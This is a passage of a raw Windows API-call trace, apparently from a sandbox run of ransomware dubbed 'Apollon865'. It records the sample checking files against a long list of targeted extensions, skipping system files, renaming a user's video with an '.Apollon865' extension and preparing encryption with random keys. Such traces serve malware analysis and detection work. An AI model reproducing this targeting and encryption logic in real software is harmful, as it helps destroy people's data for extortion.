	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.264] lstrlenW (lpString="fmp") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.264] lstrlenW (lpString="fmp12") returned 5
	[0086.264] lstrcmpiW (lpString1="W.avi", lpString2="fmp12") returned 1
	[0086.264] lstrlenW (lpString="fmpsl") returned 5
	[0086.264] lstrcmpiW (lpString1="W.avi", lpString2="fmpsl") returned 1
	[0086.264] lstrlenW (lpString="fol") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.264] lstrlenW (lpString="fp3") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.264] lstrlenW (lpString="fp4") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.264] lstrlenW (lpString="fp5") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.264] lstrlenW (lpString="fp7") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.264] lstrlenW (lpString="fpt") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.264] lstrlenW (lpString="frm") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.265] lstrlenW (lpString="gdb") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.265] lstrlenW (lpString="gdb") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.265] lstrlenW (lpString="grdb") returned 4
	[0086.265] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.265] lstrlenW (lpString="gwi") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.265] lstrlenW (lpString="hdb") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.265] lstrlenW (lpString="his") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.265] lstrlenW (lpString="ib") returned 2
	[0086.265] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.265] lstrlenW (lpString="idb") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.265] lstrlenW (lpString="ihx") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.265] lstrlenW (lpString="itdb") returned 4
	[0086.265] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.265] lstrlenW (lpString="itw") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.265] lstrlenW (lpString="jet") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.265] lstrlenW (lpString="jtx") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.265] lstrlenW (lpString="kdb") returned 3
	[0086.265] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.265] lstrlenW (lpString="kexi") returned 4
	[0086.265] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.265] lstrlenW (lpString="kexic") returned 5
	[0086.265] lstrcmpiW (lpString1="W.avi", lpString2="kexic") returned 1
	[0086.265] lstrlenW (lpString="kexis") returned 5
	[0086.265] lstrcmpiW (lpString1="W.avi", lpString2="kexis") returned 1
	[0086.265] lstrlenW (lpString="lgc") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.266] lstrlenW (lpString="lwx") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.266] lstrlenW (lpString="maf") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.266] lstrlenW (lpString="maq") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.266] lstrlenW (lpString="mar") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.266] lstrlenW (lpString="marshal") returned 7
	[0086.266] lstrcmpiW (lpString1="04W.avi", lpString2="marshal") returned -1
	[0086.266] lstrlenW (lpString="mas") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.266] lstrlenW (lpString="mav") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.266] lstrlenW (lpString="maw") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.266] lstrlenW (lpString="mdbhtml") returned 7
	[0086.266] lstrcmpiW (lpString1="04W.avi", lpString2="mdbhtml") returned -1
	[0086.266] lstrlenW (lpString="mdn") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.266] lstrlenW (lpString="mdt") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.266] lstrlenW (lpString="mfd") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.266] lstrlenW (lpString="mpd") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.266] lstrlenW (lpString="mrg") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.266] lstrlenW (lpString="mud") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.266] lstrlenW (lpString="mwb") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.266] lstrlenW (lpString="myd") returned 3
	[0086.266] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.266] lstrlenW (lpString="ndf") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.267] lstrlenW (lpString="nnt") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.267] lstrlenW (lpString="nrmlib") returned 6
	[0086.267] lstrcmpiW (lpString1="4W.avi", lpString2="nrmlib") returned -1
	[0086.267] lstrlenW (lpString="ns2") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.267] lstrlenW (lpString="ns3") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.267] lstrlenW (lpString="ns4") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.267] lstrlenW (lpString="nsf") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.267] lstrlenW (lpString="nv") returned 2
	[0086.267] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.267] lstrlenW (lpString="nv2") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.267] lstrlenW (lpString="nwdb") returned 4
	[0086.267] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.267] lstrlenW (lpString="nyf") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.267] lstrlenW (lpString="odb") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.267] lstrlenW (lpString="odb") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.267] lstrlenW (lpString="oqy") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.267] lstrlenW (lpString="ora") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.267] lstrlenW (lpString="orx") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.267] lstrlenW (lpString="owc") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.267] lstrlenW (lpString="p96") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.267] lstrlenW (lpString="p97") returned 3
	[0086.267] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.268] lstrlenW (lpString="pan") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.268] lstrlenW (lpString="pdb") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.268] lstrlenW (lpString="pdm") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.268] lstrlenW (lpString="pnz") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.268] lstrlenW (lpString="qry") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.268] lstrlenW (lpString="qvd") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.268] lstrlenW (lpString="rbf") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.268] lstrlenW (lpString="rctd") returned 4
	[0086.268] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.268] lstrlenW (lpString="rod") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.268] lstrlenW (lpString="rodx") returned 4
	[0086.268] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.268] lstrlenW (lpString="rpd") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.268] lstrlenW (lpString="rsd") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.268] lstrlenW (lpString="sas7bdat") returned 8
	[0086.268] lstrcmpiW (lpString1="004W.avi", lpString2="sas7bdat") returned -1
	[0086.268] lstrlenW (lpString="sbf") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.268] lstrlenW (lpString="scx") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.268] lstrlenW (lpString="sdb") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.268] lstrlenW (lpString="sdc") returned 3
	[0086.268] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.268] lstrlenW (lpString="sdf") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.269] lstrlenW (lpString="sis") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.269] lstrlenW (lpString="spq") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.269] lstrlenW (lpString="te") returned 2
	[0086.269] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.269] lstrlenW (lpString="teacher") returned 7
	[0086.269] lstrcmpiW (lpString1="04W.avi", lpString2="teacher") returned -1
	[0086.269] lstrlenW (lpString="tmd") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.269] lstrlenW (lpString="tps") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.269] lstrlenW (lpString="trc") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.269] lstrlenW (lpString="trc") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.269] lstrlenW (lpString="trm") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.269] lstrlenW (lpString="udb") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.269] lstrlenW (lpString="udl") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.269] lstrlenW (lpString="usr") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.269] lstrlenW (lpString="v12") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.269] lstrlenW (lpString="vis") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.269] lstrlenW (lpString="vpd") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.269] lstrlenW (lpString="vvv") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.269] lstrlenW (lpString="wdb") returned 3
	[0086.269] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.269] lstrlenW (lpString="wmdb") returned 4
	[0086.270] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.270] lstrlenW (lpString="wrk") returned 3
	[0086.270] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.270] lstrlenW (lpString="xdb") returned 3
	[0086.270] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.270] lstrlenW (lpString="xld") returned 3
	[0086.270] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.270] lstrlenW (lpString="xmlff") returned 5
	[0086.270] lstrcmpiW (lpString1="W.avi", lpString2="xmlff") returned -1
	[0086.270] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f4Q004W.avi.Apollon865") returned 59
	[0086.270] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f4Q004W.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\f4q004w.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f4Q004W.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\f4q004w.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f4Q004W.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\f4q004w.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.271] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=50622) returned 1
	[0086.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.272] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.273] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.273] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.273] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8c0, lpName=0x0) returned 0x15c
	[0086.273] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8c0) returned 0x100000
	[0086.275] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.276] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.276] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.277] CloseHandle (hObject=0x15c) returned 1
	[0086.277] CloseHandle (hObject=0x9c) returned 1
	[0086.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.279] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x156d5c90, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hAi8-2ik1bCNPces5Q", cAlternateFileName="HAI8-2~1")) returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="Apollon865.txt.exe") returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2=".") returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="..") returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="windows") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="bootmgr") returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="temp") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="pagefile.sys") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="boot") returned 1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="ids.txt") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="ntuser.dat") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="perflogs") returned -1
	[0086.279] lstrcmpiW (lpString1="hAi8-2ik1bCNPces5Q", lpString2="MSBuild") returned -1
	[0086.279] lstrlenW (lpString="hAi8-2ik1bCNPces5Q") returned 18
	[0086.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f4Q004W.avi") returned 48
	[0086.279] lstrcpyW (in: lpString1=0x119e652, lpString2="hAi8-2ik1bCNPces5Q" | out: lpString1="hAi8-2ik1bCNPces5Q") returned="hAi8-2ik1bCNPces5Q"
	[0086.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0086.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0086.279] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0086.279] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914b6d0, ftCreationTime.dwHighDateTime=0x1d4c69b, ftLastAccessTime.dwLowDateTime=0xf463c1d0, ftLastAccessTime.dwHighDateTime=0x1d4c687, ftLastWriteTime.dwLowDateTime=0xf463c1d0, ftLastWriteTime.dwHighDateTime=0x1d4c687, nFileSizeHigh=0x0, nFileSizeLow=0x54fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hD iD g.flv", cAlternateFileName="HDIDG~1.FLV")) returned 1
	[0086.279] lstrcmpiW (lpString1="hD iD g.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.279] lstrcmpiW (lpString1="hD iD g.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".") returned 1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="..") returned 1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="windows") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="bootmgr") returned 1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="temp") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="pagefile.sys") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="boot") returned 1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="ids.txt") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="ntuser.dat") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="perflogs") returned -1
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2="MSBuild") returned -1
	[0086.280] lstrlenW (lpString="hD iD g.flv") returned 11
	[0086.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned 55
	[0086.280] lstrcpyW (in: lpString1=0x119e652, lpString2="hD iD g.flv" | out: lpString1="hD iD g.flv") returned="hD iD g.flv"
	[0086.280] lstrlenW (lpString="hD iD g.flv") returned 11
	[0086.280] lstrlenW (lpString="Apollon865") returned 10
	[0086.280] lstrcmpiW (lpString1="D iD g.flv", lpString2="Apollon865") returned 1
	[0086.280] lstrlenW (lpString=".dll") returned 4
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".dll") returned 1
	[0086.280] lstrlenW (lpString=".lnk") returned 4
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".lnk") returned 1
	[0086.280] lstrlenW (lpString=".ini") returned 4
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".ini") returned 1
	[0086.280] lstrlenW (lpString=".sys") returned 4
	[0086.280] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".sys") returned 1
	[0086.280] lstrlenW (lpString="hD iD g.flv") returned 11
	[0086.280] lstrlenW (lpString="bak") returned 3
	[0086.280] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.280] lstrlenW (lpString="ba_") returned 3
	[0086.280] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.280] lstrlenW (lpString="dbb") returned 3
	[0086.280] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.280] lstrlenW (lpString="vmdk") returned 4
	[0086.280] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.280] lstrlenW (lpString="rar") returned 3
	[0086.280] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.281] lstrlenW (lpString="zip") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.281] lstrlenW (lpString="tgz") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.281] lstrlenW (lpString="vbox") returned 4
	[0086.281] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.281] lstrlenW (lpString="vdi") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.281] lstrlenW (lpString="vhd") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.281] lstrlenW (lpString="vhdx") returned 4
	[0086.281] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.281] lstrlenW (lpString="avhd") returned 4
	[0086.281] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.281] lstrlenW (lpString="db") returned 2
	[0086.281] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.281] lstrlenW (lpString="db2") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.281] lstrlenW (lpString="db3") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.281] lstrlenW (lpString="dbf") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.281] lstrlenW (lpString="mdf") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.281] lstrlenW (lpString="mdb") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.281] lstrlenW (lpString="sql") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.281] lstrlenW (lpString="sqlite") returned 6
	[0086.281] lstrcmpiW (lpString1=" g.flv", lpString2="sqlite") returned -1
	[0086.281] lstrlenW (lpString="sqlite3") returned 7
	[0086.281] lstrcmpiW (lpString1="D g.flv", lpString2="sqlite3") returned -1
	[0086.281] lstrlenW (lpString="sqlitedb") returned 8
	[0086.281] lstrcmpiW (lpString1="iD g.flv", lpString2="sqlitedb") returned -1
	[0086.281] lstrlenW (lpString="xml") returned 3
	[0086.281] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.282] lstrlenW (lpString="$er") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.282] lstrlenW (lpString="4dd") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.282] lstrlenW (lpString="4dl") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.282] lstrlenW (lpString="^^^") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.282] lstrlenW (lpString="abs") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.282] lstrlenW (lpString="abx") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.282] lstrlenW (lpString="accdb") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accdb") returned 1
	[0086.282] lstrlenW (lpString="accdc") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accdc") returned 1
	[0086.282] lstrlenW (lpString="accde") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accde") returned 1
	[0086.282] lstrlenW (lpString="accdr") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accdr") returned 1
	[0086.282] lstrlenW (lpString="accdt") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accdt") returned 1
	[0086.282] lstrlenW (lpString="accdw") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accdw") returned 1
	[0086.282] lstrlenW (lpString="accft") returned 5
	[0086.282] lstrcmpiW (lpString1="g.flv", lpString2="accft") returned 1
	[0086.282] lstrlenW (lpString="adb") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.282] lstrlenW (lpString="adb") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.282] lstrlenW (lpString="ade") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.282] lstrlenW (lpString="adf") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.282] lstrlenW (lpString="adn") returned 3
	[0086.282] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.283] lstrlenW (lpString="adp") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.283] lstrlenW (lpString="alf") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.283] lstrlenW (lpString="ask") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.283] lstrlenW (lpString="btr") returned 3
